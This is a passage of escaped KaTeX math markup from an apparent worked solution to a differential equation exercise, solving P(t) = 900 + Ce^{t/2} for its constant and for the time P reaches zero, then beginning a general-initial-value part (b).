&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P(0) = 900 + Ce^{\frac{1}{2}t}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.954em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;800&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mspace width=&quot;1em&quot;&gt;&lt;/mspace&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P(0) = 900 + C = 800,\quad C = -100&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8778em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;800&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:1em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;100&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mtext&gt;Hence, &lt;/mtext&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;9&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mn&gt;9&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\text{Hence, } P(t) = 900 - 100e^{\frac{1}{2}t} = 0,e^{\frac{1}{2}t} = 9 ,t = 2ln\ 9&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;Hence, &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.954em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1485em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8389em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0197em;&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;mspace&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;9&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(b)&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P(t) = 900 - Ce^{\frac{1}{2}t}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.7278em;vertical-align:-0.0833em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;900&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.954em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.0715em;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.954em;&quot;&gt;&lt;span style=&quot;top:-3.363em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mopen nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8443em;&quot;&gt;&lt;span style=&quot;top:-2.656em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.2255em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line mtight&quot; style=&quot;border-bottom-width:0.049em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.384em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size3 size1 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.344em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter sizing reset-size3 size6&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal mtight&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mo&gt;⇒&lt;/mo&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mn&gt;900&lt;/mn&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/mfrac&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P(0) = 900 -C = p_{0}\ \Rightarrow P(t) = 900 - 